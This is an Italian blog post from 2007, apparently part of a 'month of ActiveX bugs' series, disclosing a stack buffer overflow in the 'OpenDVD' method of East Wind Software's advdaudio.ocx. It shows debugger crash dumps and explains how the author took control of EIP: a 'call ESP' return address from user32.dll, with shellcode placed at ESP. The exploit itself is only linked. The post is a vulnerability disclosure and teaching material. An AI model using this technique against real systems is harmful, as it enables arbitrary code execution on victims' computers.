2007/05/05

MoAxB #05: East Wind Software (advdaudio.ocx v. 1.5.1.1) 'OpenDVD' method Stack Buffer Overflow

Bene, volevo lasciare i bug più interessanti per la seconda metà del mese ma, siccome sta nascendo un putiferio (sul mio modo di parlare in inglese e sulle mie capacità tecniche), posto un exploit che sfrutta uno stack overflow causato dall'ocx per eseguire codice arbitrario su un pc.

Dimostrazione online

Formato txt

Analizziamo meglio lo scenario: al momento del crash la situazione dei registri è la seguente:

14:51:52.171 pid=0A90 tid=0E40 EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [616165E5])
----------------------------------------------------------------
EAX=61616161: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=0174EDE0: 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
ECX=000035D1: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=01750110: 6F 00 F2 00 ED F2 F2 00-ED F2 F2 00 ED F2 F2 00
ESP=0174EA40: 10 EB FF 02 1C EB 74 01-61 1E 94 7C 1C EB 74 01
EBP=0174EDB8: 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42
ESI=00000008: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=02FE056E: 20 20 20 20 3C 2F 70 3E-0D 0A 20 20 20 20 20 20
EIP=03D2187D: 8B 90 84 04 00 00 8D 88-7C 04 00 00 85 D2 7E 09
--> MOV EDX,[EAX+00000484]
----------------------------------------------------------------

14:51:52.171 pid=0A90 tid=0E40 EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [42424242])
----------------------------------------------------------------
EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EBX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=7C9137D8: 8B 4C 24 04 F7 41 04 06-00 00 00 B8 01 00 00 00
ESP=0174E670: BF 37 91 7C 58 E7 74 01-AC ED 74 01 74 E7 74 01
EBP=0174E690: 40 E7 74 01 8B 37 91 7C-58 E7 74 01 AC ED 74 01
ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
--> N/A
----------------------------------------------------------------

Come potete notare, l'errore avviene nel momento in cui si cerca di leggere il contenuto di EAX mentre, nel passo successivo, vediamo EIP sovrascritto con dati arbitrari.
Bene, la prima cosa da fare è passare ad EAX un "readable" address, così da superare la prima limitazione.
Passiamo allora 0x77D7AAEB call ESP (from user32.dll) e vediamo cosa succede ai registri:

15:03:32.855 pid=0A98 tid=06E0 EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [63636363])
----------------------------------------------------------------
EAX=73E186D4: 00 00 00 00 84 6A DF 73-00 00 00 00 2E 3F 41 56
EBX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=7608F260: 10 05 46 03 FF FF FF FF-00 00 00 00 00 00 00 00
ESP=0174EDEC: 90 EB 03 59 EB 05 E8 F8-FF FF FF 4F 49 49 49 49
EBP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ESI=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
--> N/A
----------------------------------------------------------------

15:03:32.855 pid=0A98 tid=06E0 EXCEPTION (unhandled)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [63636363])
----------------------------------------------------------------
EAX=73E186D4: 00 00 00 00 84 6A DF 73-00 00 00 00 2E 3F 41 56
EBX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ECX=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDX=7608F260: 10 05 46 03 FF FF FF FF-00 00 00 00 00 00 00 00
ESP=0174EDEC: 90 EB 03 59 EB 05 E8 F8-FF FF FF 4F 49 49 49 49
EBP=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ESI=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EDI=41414141: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
--> N/A
----------------------------------------------------------------

Bingo! Ora controlliamo EIP e abbiamo in ESP il contenuto della shellcode, il resto è storia...

That's all folks!